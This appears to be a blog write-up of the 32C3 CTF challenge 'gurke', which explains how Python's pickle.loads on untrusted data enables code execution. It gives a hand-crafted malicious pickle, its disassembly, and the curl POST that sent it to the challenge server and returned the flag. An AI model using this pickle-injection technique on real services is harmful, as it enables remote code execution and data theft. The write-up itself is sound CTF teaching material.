32C3 CTF Write-up: gurke

gurke (misc)

For this challenge, you are provided with a Python-based service that accepts a pickle and displays the result. You will need to coerce it to display the flag though, which is initialized at the start of the service.

The service can be succinctly represented as follows:

class Flag(object):
    def __init__(self):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("172.17.0.1", 1234))
        self.flag = s.recv(1024).strip()
        s.close()
flag = Flag()

...

data = os.read(0, 4096)
try:
    res = pickle.loads(data)
    print 'res: %r\n' % res except Exception as e:
    print >>sys.stderr, "exception", repr(e)

In between there’s a omitted portion that uses seccomp to make sure you don’t obtain the flag through the socket connection. In essence, you need to cause the unpickling process to read the flag attribute from the Flag instance.

Pickling and unpickling is quite commonly used in Python for persistence, much like Java’s serialization mechanism. However, it is implemented in Python using a simple stack-based virtual machine. By sending a specially-crafted pickle, we can cause arbitrary code execution. The Python code to read the flag looks something like this:

a = __main__.flag
return __builtin__.getattr(a, 'flag')

This has to be converted into the Pickle VM opcodes by hand. You can see below that the pickle opcodes are quite a close match to the Python code. Also note that Python has a handy disassembler that dumps the pickle opcodes:

import pickletools

exploit = """c__main__\nflag
p100
0c__builtin__\ngetattr
(g100
S'flag'
tR."""

pickletools.dis(exploit)

  0: c    GLOBAL     '__main__ flag'
 15: p    PUT        100
 20: 0    POP
 21: c    GLOBAL     '__builtin__ getattr'
 42: (    MARK
 43: g        GET        100
 48: S        STRING     'flag'
 56: t        TUPLE      (MARK at 42)
 57: R    REDUCE
 58: .    STOP

Note that Python triple-quotes will capture newlines into the string. Now the exploit pickle needs to be placed in a file and sent off using curl to our target:

$ curl -vv -X POST --data-binary @t.pickle http://136.243.194.43/
* About to connect() to 136.243.194.43 port 80 (#0)
*   Trying 136.243.194.43... connected
* Connected to 136.243.194.43 (136.243.194.43) port 80 (#0)
> POST / HTTP/1.1
> User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.19.1 Basic ECC zlib/1.2.3 libidn/1.18 libssh2/1.4.2
> Host: 136.243.194.43
> Accept: */*
> Content-Length: 60
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
* no chunk, no close, no size. Assume close to signal end
<
1: res: '32c3_rooDahPaeR3JaibahYeigoong'

retval: 0
* Closing connection #0

Further reading for Python pickles and security:

Advertisement
This entry was posted in CTFs.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.